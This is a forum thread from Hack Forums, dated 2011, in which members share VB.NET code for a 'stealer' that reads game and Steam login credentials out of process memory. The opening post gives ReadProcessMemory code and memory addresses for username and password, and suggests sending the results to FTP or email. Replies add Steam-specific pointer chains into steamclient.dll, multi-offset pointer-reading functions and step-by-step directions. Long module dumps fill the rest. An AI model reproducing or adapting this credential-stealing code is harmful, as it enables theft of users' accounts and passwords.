

Forum:[Hack Forums](#)

Thread: [\[Stealer\] Another Method \[ProccesRead\]](#)

The-One - January 3, 2011, 12:09 pm

Hey,

So, I got this code which reads memory of an address, I tried a few things and I made my new stealer.

This function whas ORIGNIALY made by someone I don't know, but I did remember how it worked so I just rewrote it, still all credits to him.

```
Code Private Declare Function ReadProcessMemory Lib "kernel32" (ByVal hProcess As IntPtr,
ByVal lpBaseAddress As Int32, ByRef lpBuffer As Int32, ByVal nSize As Int32, ByVal
lpNumberOfBytesWritten As Int32) As Long
Private Declare Function OpenProcess Lib "kernel32.dll" (ByVal dwDesiredAccess As UInteger,
ByVal blInheritHandle As Integer, ByVal dwProcessId As UInteger) As IntPtr
Private Declare Function CloseHandle Lib "kernel32.dll" (ByVal hHandle As IntPtr) As Boolean

Function Read(ByVal Client As Process, ByVal Address As Int32) As String
Try
Dim i As Int32 = 0, j As Int32 = 0, t As IntPtr = OpenProcess(1080, CInt(False), CUInt(Client.Id)),
s As String = ""
Do
ReadProcessMemory(t, Address + j, i, 1, 0)
If i <> 0 Then s = s & Chr(i)
j += 1
Loop Until i = 0
CloseHandle(t)
Return s
Catch
Return Nothing
End Try
End Function
```

Okey, we will use this to read something out of a PROCESS.

```
Code Dim ACCOUNT As String = ""
For Each p As Process In Process.GetProcessesByName("MyProcess")
ACCOUNT = "Username: " & Read(p, game_account) & _
vbCrLf & "Password: " & Read(p, game_pass) & _
vbCrLf & "Nickname: " & Read(p, game_nickname) & _
vbCrLf & "Country: " & Read(p, game_country)
MsgBox(ACCOUNT)
Next
```

Very easy, and clear. I whas using this to test, thats why I call MSGBox, you can let it like normally upload it to a FTP, make it send a mail or whatever you want.

The addresses:

```
Code Dim game_server As String = &HC41938
```

```
Dim game_account As String = &HAEAA00
Dim game_nickname As String = &HAEAC40
Dim game_pass As String = &HAEAC00
Dim game_country As String = &HC5FAF4
```

Using steam:

Spoiler ([Click to View](#))

Username: &H3A2DA5D8

Password: (pointer: steamclient.dll+004037C0 offset1:310 offset2:7E0 offset3:763) - 2A50

Getting password:

```
Code For Each p As Process In Process.GetProcessesByName("Steam")
```

```
    Dim modules As String = 0
```

```
    For Each pm As ProcessModule In p.Modules
```

```
        If pm.ModuleName.Contains("steamclient") Then
```

```
            modules = pm.BaseAddress
```

```
        End If
```

```
    Next
```

```
    Dim pe As Long = modules + &H4037C0
```

```
    Dim p1 As Long = &H7E0
```

```
    Dim ADR_password As Long = ADDRESSGET(pe, 310, p1, 763, 4) - &H2A50
```

```
    MsgBox(Read(p, ADR_password ))Go to third page of this thread for more info.
```

Its easy to find them, just use Cheat Engine, hook it up to the process you want to steal, log in, search for you password/username, find a static(green) pointer. Note that '&H' means that we tell VB we are using a address which is (&)Hex. These where found using a disassembler (IDA pro/Olly dbg) but you need to know Assembly for that so if you don't know that wonderful low-level language you'd better stick with Cheat Engine.

Example of a static address, (GREEN = static(Address will only change when program updates), BLACK = dynamic(Address will change everytime you restart the program or function))

[img]http://www.plaatjesupload.nl/bekijk/2011/01/03/1294071481-830.png[/img]

This might not work for some process, for things like chrome, IE, firefox you can better use other methods, but for other things like games, or unstored/saved passwords.

Enjoy.

fredde_jason - January 3, 2011, 12:22 pm

Hehe, I think I know what game this is made for? But you could tell me :)

The-One - January 3, 2011, 12:22 pm

(Jan 3, 2011 01:22 PM)fredde_jason Wrote: [\[CITE\]](#) Hehe, I think I know what game this is made for? But you could tell me :)

Well, post and miss ?

The-One - January 3, 2011, 12:28 pm

(Jan 3, 2011 01:24 PM)fredde_jason Wrote: [\[CITE\]](#) Tibia!

totototo short and to short again

And he misses. Nope. It isn't browser game.

stefsot - January 3, 2011, 12:33 pm

Very nice ;). In my memory-editors (simple game hacking :P) I use also a function that supports reading dynamic addresses.

```
Code Public Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal Classname As String, ByVal WindowName As String) As IntPtr
Public Declare Function GetWindowThreadProcessId Lib "user32" (ByVal hWnd As IntPtr, ByRef lpdwProcessId As Integer) As Integer
Public Declare Function CloseHandle Lib "kernel32" (ByVal hObject As IntPtr) As Integer
Public Declare Function ReadProcessMemory Lib "kernel32" Alias "ReadProcessMemory" (ByVal hProcess As Integer, ByVal lpBaseAddress As Integer, ByRef lpBuffer As Long, ByVal nSize As Integer, ByRef lpNumberOfBytesWritten As Integer) As Integer
Public Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Integer, ByVal bInheritHandle As Integer, ByVal dwProcessId As Integer) As IntPtr
Public Const PROCESS_ACCESS_ALL As Integer = &H1F0FFF
Function read_memory(ByVal baseaddress As Integer, ByVal offset1 As Integer, ByVal offset2 As Integer, ByVal bytes As Integer)
Dim read_value As Integer = Nothing
Dim hWnd As IntPtr, pHandle As IntPtr
Dim processID As Integer
Dim RBuff As Long
Dim fullAddress As Long
Dim windowname As String
Dim proc As Process() = Process.GetProcessesByName("your process")
windowname = proc(0).MainWindowTitle
hWnd = FindWindow(vbNullString, windowname)
If Not (hWnd = 0) Then
    GetWindowThreadProcessId(hWnd, processID)
    pHandle = OpenProcess(PROCESS_ACCESS_ALL, 0, processID)
    If Not (pHandle = 0) Then
        ReadProcessMemory(pHandle, baseaddress, RBuff, bytes, 0)
        fullAddress = RBuff + offset1
        ReadProcessMemory(pHandle, fullAddress, RBuff, bytes, 0)
        fullAddress = RBuff + offset2
    End If
    CloseHandle(pHandle)
End If
ReadProcessMemory(proc(0).Handle.ToInt32, fullAddress, read_value, bytes, 0)
Return read_value
End Function
```

*note that you can add as many offsets as you need.

The-One - January 3, 2011, 12:39 pm

(Jan 3, 2011 01:33 PM)stefsot Wrote: [\[CITE\]](#) Very nice ;). In my memory-editors (simple game hacking :P) I use also a function that supports reading dynamic addresses.

```
Code Public Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal Classname As String, ByVal WindowName As String) As IntPtr
Public Declare Function GetWindowThreadProcessId Lib "user32" (ByVal hWnd As IntPtr, ByRef lpdwProcessId As Integer) As Integer
Public Declare Function CloseHandle Lib "kernel32" (ByVal hObject As IntPtr) As Integer
Public Declare Function ReadProcessMemory Lib "kernel32" Alias "ReadProcessMemory" (ByVal hProcess As Integer, ByVal lpBaseAddress As Integer, ByRef lpBuffer As Long, ByVal nSize As Integer, ByRef lpNumberOfBytesWritten As Integer) As Integer
```

```

Public Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Integer, ByVal
bInheritHandle As Integer, ByVal dwProcessId As Integer) As IntPtr
Public Const PROCESS_ACCESS_ALL As Integer = &H1F0FFF
Function read_memory(ByVal baseaddress As Integer, ByVal offset1 As Integer, ByVal offset2
As Integer, ByVal bytes As Integer)
Dim read_value As Integer = Nothing
Dim hWnd As IntPtr, pHandle As IntPtr
Dim processID As Integer
Dim RBuff As Long
Dim fullAddress As Long
Dim windowname As String
Dim proc As Process() = Process.GetProcessesByName("your process")
windowname = proc(0).MainWindowTitle
hWnd = FindWindow(vbNullString, windowname)
If Not (hWnd = 0) Then
GetWindowThreadProcessId(hWnd, processID)
pHandle = OpenProcess(PROCESS_ACCESS_ALL, 0, processID)
If Not (pHandle = 0) Then
ReadProcessMemory(pHandle, baseaddress, RBuff, bytes, 0)
fullAddress = RBuff + offset1
ReadProcessMemory(pHandle, fullAddress, RBuff, bytes, 0)
fullAddress = RBuff + offset2
End If
CloseHandle(pHandle)
End If
ReadProcessMemory(proc(0).Handle.ToInt32, fullAddress, read_value, bytes, 0)
Return read_value
End Function

```

*note that you can add as many offsets as you need.

Yes, but for the dynamic one you can only use it once, or you have to update your addresses everytime (nah:P)

Symbiotic - January 3, 2011, 12:45 pm

May I guess? It is for League of Legends.

OT:

Nice contribution, sure it will help a lot of people.

stefsot - January 3, 2011, 12:56 pm

(Jan 3, 2011 01:39 PM)The-One Wrote: [\[CITE\]](#) Yes, but for the dynamic one you can only use it once, or you have to update your addresses everytime (nah:P)

No, you do not have to update every time. Just find a pointer and the offsets that are pointing to the dynamic address and here you are!

The-One - January 3, 2011, 1:21 pm

(Jan 3, 2011 01:56 PM)stefsot Wrote: [\[CITE\]](#) No, you do not have to update every time. Just find a pointer and the offsets that are pointing to the dynamic address and here you are!

But then you can use the base_adr of the pointer with the offset, then its already static.

(Jan 3, 2011 01:45 PM)Symbiotic Wrote: [\[CITE\]](#) May I guess? It is for League of Legends.

OT:

Nice contribution, sure it will help a lot of people.
Nope. xD Thanks. ?

spike2147 - January 3, 2011, 1:45 pm

Hehe i know it. Not gonna say because everyone's gonna use itxD

Good work. Keep it up.
Sorry for what happened on msn 3-01:P

KingCobraXD - January 3, 2011, 3:37 pm

WOW! This is very nice. So maybe this is how P Y R O created his steam stealer..+rep for u. =)

The-One - January 4, 2011, 6:46 am

(Jan 3, 2011 04:37 PM)KingCobraXD Wrote: [\[CITE\]](#) WOW! This is very nice. So maybe this is how P Y R O created his steam stealer..+rep for u. =)
Yea, maybe who knows :)

Spoiler [\(Click to View\)](#)
Code 'Updated on 1-1-2011
Steam user name address: &H3A2DA5D8
Find password yourself, see and try :)

(Jan 3, 2011 02:45 PM)spike2147 Wrote: [\[CITE\]](#) Hehe i know it. Not gonna say because everyone's gonna use itxD

Good work. Keep it up.
Sorry for what happened on msn 3-01:P
Haha, yea np man. Happens all the time.

Modesty - January 4, 2011, 8:45 am

(Jan 3, 2011 04:37 PM)KingCobraXD Wrote: [\[CITE\]](#) WOW! This is very nice. So maybe this is how P Y R O created his steam stealer..+rep for u. =)
Uh I never created a steam stealer xD I think you've got the wrong guy ;)

Kotei - January 4, 2011, 9:03 am

WoW
Maplestory
Mabinogi
Rakion
FlyFF
Combat Arms
Counter Strike

The-One - January 4, 2011, 9:16 am

(Jan 4, 2011 10:03 AM)[ULLF] Xypher Wrote: [\[CITE\]](#) WoW
Maplestory
Mabinogi
Rakion
FlyFF
Combat Arms

Counter Strike

No
No
No
No
No
No
No

Lol :P ?

stefsot - January 4, 2011, 9:28 am

Very nice idea man!!! I've been working with memory for about 1 year and never thought about it!!!
So here it goes:

username address: 3A2DA5D8

password address: (pointer: steamclient.dll+004037C0 offset1:310 offset2:7E0 offset3:763) - 2A50

How to find the password adress?

```
Code Public Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal Classname As String, ByVal WindowName As String) As IntPtr
Public Declare Function GetWindowThreadProcessId Lib "user32" (ByVal hWnd As IntPtr, ByRef lpdwProcessId As Integer) As Integer
Public Declare Function CloseHandle Lib "kernel32" (ByVal hObject As IntPtr) As Integer
Public Declare Function ReadProcessMemory Lib "kernel32" Alias "ReadProcessMemory" (ByVal hProcess As Integer, ByVal lpBaseAddress As Integer, ByRef lpBuffer As Long, ByVal nSize As Integer, ByRef lpNumberOfBytesWritten As Integer) As Integer
Public Declare Function OpenProcess Lib "kernel32" (ByVal dwDesiredAccess As Integer, ByVal bInheritHandle As Integer, ByVal dwProcessId As Integer) As IntPtr
Public Const PROCESS_ACCESS_ALL As Integer = &H1F0FFF
Function get_address(ByVal baseaddress As Integer, ByVal offset1 As Integer, ByVal offset2 As Integer, ByVal offset3 As Integer, ByVal bytes As Integer)
Dim read_value As Integer = Nothing
Dim hWnd As IntPtr, pHandle As IntPtr
Dim processID As Integer
Dim RBuff As Long
Dim fullAddress As Long
Dim windowname As String
Dim proc As Process() = Process.GetProcessesByName("your process")
windowname = proc(0).MainWindowTitle
hWnd = FindWindow(vbNullString, windowname)
If Not (hWnd = 0) Then
    GetWindowThreadProcessId(hWnd, processID)
    pHandle = OpenProcess(PROCESS_ACCESS_ALL, 0, processID)
    If Not (pHandle = 0) Then
        ReadProcessMemory(pHandle, baseaddress, RBuff, bytes, 0)
        fullAddress = RBuff + offset1
        ReadProcessMemory(pHandle, fullAddress, RBuff, bytes, 0)
        fullAddress = RBuff + offset2
        ReadProcessMemory(pHandle, fullAddress, RBuff, bytes, 0)
        fullAddress = RBuff + offset3
    End If
    CloseHandle(pHandle)
```

```
End If
Return fullAddress
End Function
Code Dim passaddress as long = get_address(..) - &H2A50
Just give credits and don't leech it
```

The-One - January 4, 2011, 9:30 am

(Jan 4, 2011 10:28 AM)stefsot Wrote: [\[CITE\]](#) Very nice idea man!!! I've been working with memory for about 1 year and never thought about it!!!
So here it goes:

```
username address: 3A2DA5D8
password address: (pointer: steamclient.dll+004037C0 offset1:310 offset2:7E0 offset3:763) + 2A50
I didn't really want to post that, since of patching, but who cares.
```

stefsot - January 4, 2011, 9:33 am

I posted source code in vb.net about how to use :P

*my mistake password address is:

```
(pointer: steamclient.dll+004037C0 offset1:310 offset2:7E0 offset3:763) - 2A50
```

```
not (pointer: steamclient.dll+004037C0 offset1:310 offset2:7E0 offset3:763) + 2A50
```

The-One - January 4, 2011, 10:05 am

How would you do steamclient.dll++004037C0 in VB?

stefsot - January 4, 2011, 10:07 am

(Jan 4, 2011 11:05 AM)The-One Wrote: [\[CITE\]](#) How would you do steamclient.dll++004037C0 in VB?
posted code on my previous post

The-One - January 4, 2011, 10:10 am

(Jan 4, 2011 11:07 AM)stefsot Wrote: [\[CITE\]](#) posted code on my previous post
You mean: Dim passaddress as long = get_address(..) - &H2A50

Since that doesn't contains the .dll+004,,.

stefsot - January 4, 2011, 10:19 am

Ooops my mistake. I haven't posted the source code... I'm gonna make a tut tommorow as currently I'm on my other computer...

Anyway I'll try to explain you how to do it, otherwise you can wait 'til tommorow.

- 1)Take process "steam.exe"
- 2)Find in this process the module "steamclient.dll"
- 3)Get the baseaddress of this module

```
steamclient.dll = the baseaddress
so pointer address = baseaddress + 004037C0
```

```
Code steamclient.dll + 004037C0
```

```
Code get_address(pointeraddress,offset1,offset2,offset3, 4) - &H2A50
```

spike2147 - January 4, 2011, 10:28 am

Just notify, only the Server address is right, rest is outdated.

stefsot - January 4, 2011, 10:32 am

(Jan 4, 2011 11:28 AM)spike2147 Wrote: [\[CITE\]](#) Just notify, only the Server address is right, rest is outdated.

Are you sure? Have you done it correctly? I've tested many times and spend lot of time to find the correct addresses. For me works even if restart my pc.

The-One - January 4, 2011, 11:49 am

(Jan 4, 2011 11:28 AM)spike2147 Wrote: [\[CITE\]](#) Just notify, only the Server address is right, rest is outdated.

Because update? It was working yesterday when I found them.

(Jan 4, 2011 11:19 AM)stefsot Wrote: [\[CITE\]](#) Ooops my mistake. I haven't posted the source code... I'm gonna make a tut tommorow as currently I'm on my other computer...

Anyway I'll try to explain you how to do it, otherwise you can wait 'til tommorow.

- 1)Take process "steam.exe"
- 2)Find in this process the module "steamclient.dll"
- 3)Get the baseaddress of this module

steamclient.dll = the baseaddress
so pointer address = baseaddress + 004037C0

Code steamclient.dll + 004037C0

Code get_address(pointeraddress,offset1,offset2,offset3, 4) - &H2A50

Ah, I'm almost 99% sure I can't so that on 64. I have to use different api's. Well, ima play with it.

Okey, I did a few scans, made a program:

Spoiler [\(Click to View\)](#)

Code [The-One's Module Dump]

[Steam.exe]

Size - 1269760

EntryPoint - 4751805

BaseAddress - 4194304

[ntdll.dll]

Size - 1572864

EntryPoint - 0

BaseAddress - 2005073920

[kernel32.dll]

Size - 1048576

EntryPoint - 1972975048

BaseAddress - 1972895744

[KERNELBASE.dll]

Size - 286720

EntryPoint - 1967879288
BaseAddress - 1967849472

[WS2_32.dll]
Size - 217088
EntryPoint - 1991578717
BaseAddress - 1991573504

[msvcrt.dll]
Size - 704512
EntryPoint - 1970185330
BaseAddress - 1970143232

[RPCRT4.dll]
Size - 983040
EntryPoint - 1970931049
BaseAddress - 1970864128

[SspiCli.dll]
Size - 393216
EntryPoint - 1966842627
BaseAddress - 1966735360

[CRYPTBASE.dll]
Size - 49152
EntryPoint - 1966674145
BaseAddress - 1966669824

[sechost.dll]
Size - 102400
EntryPoint - 1996769653
BaseAddress - 1996750848

[NSI.dll]
Size - 24576
EntryPoint - 1968183170
BaseAddress - 1968177152

[USER32.dll]
Size - 1048576
EntryPoint - 1971957401
BaseAddress - 1971847168

[GDI32.dll]
Size - 589824
EntryPoint - 1991926595
BaseAddress - 1991835648

[LPK.dll]
Size - 40960
EntryPoint - 1990342304
BaseAddress - 1990328320

[USP10.dll]
Size - 643072
EntryPoint - 1967409111
BaseAddress - 1967194112

[ADVAPI32.dll]
Size - 655360
EntryPoint - 1998073305
BaseAddress - 1997930496

[SHELL32.dll]
Size - 12881920
EntryPoint - 1977930962
BaseAddress - 1977417728

[SHLWAPI.dll]
Size - 356352
EntryPoint - 1994367562
BaseAddress - 1994260480

[OLEAUT32.dll]
Size - 585728
EntryPoint - 1998995377
BaseAddress - 1998979072

[ole32.dll]
Size - 1425408
EntryPoint - 1992777251
BaseAddress - 1992425472

[WINSPOOL.DRV]
Size - 331776
EntryPoint - 1526503476
BaseAddress - 1526333440

[VERSION.dll]
Size - 36864
EntryPoint - 1913721376
BaseAddress - 1913716736

[IMM32.DLL]
Size - 393216
EntryPoint - 1998656935
BaseAddress - 1998585856

[MSCTF.dll]
Size - 835584
EntryPoint - 1973950091
BaseAddress - 1973944320

[uxtheme.dll]
Size - 524288
EntryPoint - 1920546761

BaseAddress - 1920466944

[comctl32.dll]

Size - 540672

EntryPoint - 1922898345

BaseAddress - 1922891776

[dwmapi.dll]

Size - 77824

EntryPoint - 1921588543

BaseAddress - 1921581056

[mswsock.dll]

Size - 245760

EntryPoint - 1954813021

BaseAddress - 1954807808

[wshtcpip.dll]

Size - 20480

EntryPoint - 1944262111

BaseAddress - 1944256512

[Steam.dll]

Size - 2932736

EntryPoint - 807087306

BaseAddress - 805306368

[NLAapi.dll]

Size - 65536

EntryPoint - 1955084569

BaseAddress - 1955069952

[DNSAPI.dll]

Size - 278528

EntryPoint - 1946379977

BaseAddress - 1946288128

[winrnr.dll]

Size - 32768

EntryPoint - 1946227486

BaseAddress - 1946222592

[napinsp.dll]

Size - 65536

EntryPoint - 1946162470

BaseAddress - 1946157056

[pnrpnsapi.dll]

Size - 73728

EntryPoint - 1946032370

BaseAddress - 1946025984

[IPHLPAPI.DLL]

Size - 114688
EntryPoint - 1921990481
BaseAddress - 1921974272

[WINNSI.DLL]
Size - 28672
EntryPoint - 1921913485
BaseAddress - 1921908736

[fwpuclnt.dll]
Size - 229376
EntryPoint - 1944361222
BaseAddress - 1944322048

[rasadhlp.dll]
Size - 24576
EntryPoint - 1944655026
BaseAddress - 1944649728

[DbgHelp.dll]
Size - 1134592
EntryPoint - 1525577166
BaseAddress - 1525153792

[CSERHelper.dll]
Size - 135168
EntryPoint - 1610656750
BaseAddress - 1610612736

[SteamUI.dll]
Size - 3403776
EntryPoint - 975111462
BaseAddress - 973078528

[WINMM.dll]
Size - 204800
EntryPoint - 1915107265
BaseAddress - 1915092992

[tier0_s.dll]
Size - 704512
EntryPoint - 1057088997
BaseAddress - 1056964608

[vstdlib_s.dll]
Size - 450560
EntryPoint - 1063442031
BaseAddress - 1063256064

[psapi.dll]
Size - 20480
EntryPoint - 2004882488
BaseAddress - 2004877312

[CRYPTSP.dll]
Size - 90112
EntryPoint - 1910713795
BaseAddress - 1910702080

[rsaenh.dll]
Size - 241664
EntryPoint - 1910182541
BaseAddress - 1910177792

[crashhandler.dll]
Size - 716800
EntryPoint - 268514493
BaseAddress - 268435456

[WININET.dll]
Size - 999424
EntryPoint - 1996887915
BaseAddress - 1996881920

[Normaliz.dll]
Size - 12288
EntryPoint - 0
BaseAddress - 1967128576

[urlmon.dll]
Size - 1265664
EntryPoint - 1968839348
BaseAddress - 1968832512

[CRYPT32.dll]
Size - 1163264
EntryPoint - 1999574446
BaseAddress - 1999568896

[MSASN1.dll]
Size - 49152
EntryPoint - 1990402957
BaseAddress - 1990393856

[iertutil.dll]
Size - 2072576
EntryPoint - 1994662477
BaseAddress - 1994653696

[FileSystem_Steam.dll]
Size - 204800
EntryPoint - 1067522782
BaseAddress - 1067450368

[vgui2.dll]
Size - 663552

EntryPoint - 1059405294
BaseAddress - 1059061760

[MSIMG32.dll]
Size - 20480
EntryPoint - 1921716470
BaseAddress - 1921712128

[comdlg32.dll]
Size - 503808
EntryPoint - 1990466286
BaseAddress - 1990459392

[libcef.dll]
Size - 13524992
EntryPoint - 1517714700
BaseAddress - 1511587840

[Secur32.dll]
Size - 32768
EntryPoint - 1922765033
BaseAddress - 1922760704

[WINHTTP.dll]
Size - 360448
EntryPoint - 1914639272
BaseAddress - 1914634240

[webio.dll]
Size - 323584
EntryPoint - 1913787506
BaseAddress - 1913782272

[avcodec-52.dll]
Size - 1212416
EntryPoint - 1510346848
BaseAddress - 1510342656

[avutil-50.dll]
Size - 102400
EntryPoint - 1526992992
BaseAddress - 1526988800

[avformat-52.dll]
Size - 155648
EntryPoint - 1526796384
BaseAddress - 1526792192

[avutil-50.dll]
Size - 102400
EntryPoint - 1510215776
BaseAddress - 1510211584

[icudt42.dll]
Size - 10899456
EntryPoint - 0
BaseAddress - 1255145472

[DWrite.dll]
Size - 1085440
EntryPoint - 1886782653
BaseAddress - 1886191616

[steamclient.dll]
Size - 4567040
EntryPoint - 942089928
BaseAddress - 939524096

[imagehlp.dll]
Size - 172032
EntryPoint - 1991381754
BaseAddress - 1991376896

[dhcpcsvc.DLL]
Size - 73728
EntryPoint - 1955148401
BaseAddress - 1955135488

[p2pvoice.DLL]
Size - 1249280
EntryPoint - 122011155
BaseAddress - 121831424

[mss32_s.dll]
Size - 626688
EntryPoint - 554928412
BaseAddress - 554696704

[steamservice.dll]
Size - 1011712
EntryPoint - 124455464
BaseAddress - 124190720

[MMDevAPI.DLL]
Size - 233472
EntryPoint - 1940775398
BaseAddress - 1940717568

[PROPSYS.dll]
Size - 1003520
EntryPoint - 1909173678
BaseAddress - 1909129216

[wdmaud.drv]
Size - 196608
EntryPoint - 1943354475

BaseAddress - 1943339008

[ksuser.dll]

Size - 16384

EntryPoint - 1942622256

BaseAddress - 1942618112

[AVRT.dll]

Size - 28672

EntryPoint - 1955795136

BaseAddress - 1955790848

[SETUPAPI.dll]

Size - 1691648

EntryPoint - 1974802407

BaseAddress - 1974796288

[CFGMR32.dll]

Size - 159744

EntryPoint - 1991006393

BaseAddress - 1990983680

[DEVOBJ.dll]

Size - 73728

EntryPoint - 2000753729

BaseAddress - 2000748544

[AUDIOSES.DLL]

Size - 221184

EntryPoint - 1940232258

BaseAddress - 1940193280

[msacm32.drv]

Size - 32768

EntryPoint - 1941913881

BaseAddress - 1941897216

[MSACM32.dll]

Size - 81920

EntryPoint - 1908085568

BaseAddress - 1908080640

[midimap.dll]

Size - 28672

EntryPoint - 1941836240

BaseAddress - 1941831680

[dsound.dll]

Size - 466944

EntryPoint - 1940985206

BaseAddress - 1940979712

[POWERPROF.dll]

Size - 151552
EntryPoint - 1943546737
BaseAddress - 1943535616

[CLBCatQ.DLL]
Size - 536576
EntryPoint - 1976837074
BaseAddress - 1976827904

[explorerframe.dll]
Size - 1503232
EntryPoint - 1917179382
BaseAddress - 1917124608

[DUser.dll]
Size - 192512
EntryPoint - 1940047778
BaseAddress - 1939996672

[DUI70.dll]
Size - 729088
EntryPoint - 1936725757
BaseAddress - 1936392192

[wbemprox.dll]
Size - 40960
EntryPoint - 1939346586
BaseAddress - 1939341312

[wbemcomn.dll]
Size - 376832
EntryPoint - 1939021616
BaseAddress - 1938948096

[RpcRtRemote.dll]
Size - 57344
EntryPoint - 1922830901
BaseAddress - 1922826240

[wbemsvc.dll]
Size - 61440
EntryPoint - 1938497952
BaseAddress - 1938489344

[fastprox.dll]
Size - 614400
EntryPoint - 1937973721
BaseAddress - 1937833984

[NTDSAPI.dll]
Size - 98304
EntryPoint - 1937707829
BaseAddress - 1937702912

[USERENV.dll]
Size - 94208
EntryPoint - 1923554441
BaseAddress - 1923547136

[profapi.dll]
Size - 45056
EntryPoint - 1923488146
BaseAddress - 1923481600

[comctl32.dll]
Size - 1695744
EntryPoint - 1912223537
BaseAddress - 1912012800

[ntmarta.dll]
Size - 135168
EntryPoint - 1911821406
BaseAddress - 1911816192

[WLDAP32.dll]
Size - 282624
EntryPoint - 1976504801
BaseAddress - 1976500224

[LINKINFO.dll]
Size - 36864
EntryPoint - 1955665214
BaseAddress - 1955659776

[apphelp.dll]
Size - 307200
EntryPoint - 1908222828
BaseAddress - 1908211712

[gameux.dll]
Size - 2588672
EntryPoint - 1507357698
BaseAddress - 1507328000

[gdiplus.dll]
Size - 1638400
EntryPoint - 1919275039
BaseAddress - 1918631936

[XmlLite.dll]
Size - 192512
EntryPoint - 1915425090
BaseAddress - 1915420672

[wer.dll]
Size - 393216

EntryPoint - 1506949409
BaseAddress - 1506934784

[ntshrui.dll]
Size - 454656
EntryPoint - 1939545665
BaseAddress - 1939537920

[srvcli.dll]
Size - 102400
EntryPoint - 1921258265
BaseAddress - 1921253376

[cscapi.dll]
Size - 45056
EntryPoint - 1955729920
BaseAddress - 1955725312

[slc.dll]
Size - 40960
EntryPoint - 1955286304
BaseAddress - 1955266560

[friendsui.dll]
Size - 1630208
EntryPoint - 224760908
BaseAddress - 223805440

[serverbrowser.dll]
Size - 1183744
EntryPoint - 226107836
BaseAddress - 225443840

[WSOCK32.dll]
Size - 28672
EntryPoint - 1915359520
BaseAddress - 1915355136

[dhcpcsvc6.DLL]
Size - 53248
EntryPoint - 1955602450
BaseAddress - 1955594240

[credssp.dll]
Size - 32768
EntryPoint - 1922576819
BaseAddress - 1922564096

[wship6.dll]
Size - 24576
EntryPoint - 1886000755
BaseAddress - 1885995008

[atiu9pag.dll]
Size - 40960
EntryPoint - 1901618267
BaseAddress - 1901592576

Total count: 121

(Jan 4, 2011 11:32 AM)stefsot Wrote: [\[CITE\]](#) Are you sure? Have you done it correctly? I've tested many times and spend lot of time to find the correct addresses. For me works even if restart my pc. Hes talking about the addresses I posted ;P

Joler1302 - January 5, 2011, 11:45 am

Ah, I'm almost 99% sure I can't so that on 64. I have to use different api's. Well, ima play with it.

Okey, I did a few scans, made a program:

Code [The-One's Module Dump]
I belive we got the same idea.

Code ExeDump 0.1 report start of steam.exe process

[ntdll.dll]
Entrypoint address: 2089888840
Base address: 2089811968
MemorySize: 737280

[kernel32.dll]
Entrypoint address: 2088810062
Base address: 2088763392
MemorySize: 1024000

[WS2_32.dll]
Entrypoint address: 1906840179
Base address: 1906835456
MemorySize: 94208

[ADVAPI32.dll]
Entrypoint address: 2010935563
Base address: 2010906624
MemorySize: 700416

[RPCRT4.dll]
Entrypoint address: 2011652751
Base address: 2011627520
MemorySize: 602112

[Secur32.dll]
Entrypoint address: 2013143366
Base address: 2013134848
MemorySize: 69632

[msvcrt.dll]
Entrypoint address: 2009133729

Base address: 2009071616
MemorySize: 360448

[WS2HELP.dll]
Entrypoint address: 1906775608
Base address: 1906769920
MemorySize: 32768

[USER32.dll]
Entrypoint address: 2117513751
Base address: 2117468160
MemorySize: 557056

[GDI32.dll]
Entrypoint address: 2012308871
Base address: 2012282880
MemorySize: 299008

[SHELL32.dll]
Entrypoint address: 2090759382
Base address: 2090598400
MemorySize: 11644928

[SHLWAPI.dll]
Entrypoint address: 2012631563
Base address: 2012610560
MemorySize: 483328

[OLEAUT32.dll]
Entrypoint address: 1997608288
Base address: 1997602816
MemorySize: 569344

[ole32.dll]
Entrypoint address: 2001653857
Base address: 2001534976
MemorySize: 1302528

[WINSPOOL.DRV]
Entrypoint address: 1929073829
Base address: 1929052160
MemorySize: 155648

[VERSION.dll]
Entrypoint address: 2009010485
Base address: 2009006080
MemorySize: 32768

[comctl32.dll]
Entrypoint address: 2000437846
Base address: 2000420864
MemorySize: 1060864

[comctl32.dll]

Entrypoint address: 1566192826

Base address: 1566179328

MemorySize: 667648

[uxtheme.dll]

Entrypoint address: 1529157158

Base address: 1529151488

MemorySize: 229376

[RocketDock.dll]

Entrypoint address: 268447289

Base address: 268435456

MemorySize: 73728

[PSAPI.DLL]

Entrypoint address: 1992167665

Base address: 1992163328

MemorySize: 45056

[MSCTF.dll]

Entrypoint address: 1953371045

Base address: 1953366016

MemorySize: 311296

[mswsock.dll]

Entrypoint address: 1906447565

Base address: 1906442240

MemorySize: 262144

[hnetcfg.dll]

Entrypoint address: 1660582491

Base address: 1660354560

MemorySize: 360448

[wshtcpip.dll]

Entrypoint address: 1906709550

Base address: 1906704384

MemorySize: 32768

[DNSAPI.dll]

Entrypoint address: 1995549826

Base address: 1995505664

MemorySize: 159744

[winrnr.dll]

Entrypoint address: 1996099933

Base address: 1996095488

MemorySize: 32768

[WLDAP32.dll]

Entrypoint address: 1995772208

Base address: 1995767808

MemorySize: 184320

[mdnsNSP.dll]

Entrypoint address: 1677742789

Base address: 1677721600

MemorySize: 151552

[IpHlpapi.dll]

Entrypoint address: 1993691914

Base address: 1993670656

MemorySize: 102400

[rasadhlp.dll]

Entrypoint address: 1996166191

Base address: 1996161024

MemorySize: 24576

[DbgHelp.dll]

Entrypoint address: 50755022

Base address: 50331648

MemorySize: 1134592

[CSERHelper.dll]

Entrypoint address: 1610656750

Base address: 1610612736

MemorySize: 135168

[WINMM.dll]

Entrypoint address: 1991453537

Base address: 1991442432

MemorySize: 188416

[rsaenh.dll]

Entrypoint address: 1744916104

Base address: 1744830464

MemorySize: 221184

[WININET.dll]

Entrypoint address: 1998198097

Base address: 1998192640

MemorySize: 696320

[CRYPT32.dll]

Entrypoint address: 2007438898

Base address: 2007433216

MemorySize: 614400

[MSASN1.dll]

Entrypoint address: 2008101793

Base address: 2008088576

MemorySize: 73728

[IMM32.dll]

Entrypoint address: 1983320768
Base address: 1983315968
MemorySize: 118784

[WINHTTP.dll]
Entrypoint address: 1297628358
Base address: 1297350656
MemorySize: 364544

[avcodec-52.dll]
Entrypoint address: 1792282720
Base address: 1792278528
MemorySize: 1212416

[avutil-50.dll]
Entrypoint address: 1793593440
Base address: 1793589248
MemorySize: 102400

[avformat-52.dll]
Entrypoint address: 1687425120
Base address: 1687420928
MemorySize: 155648

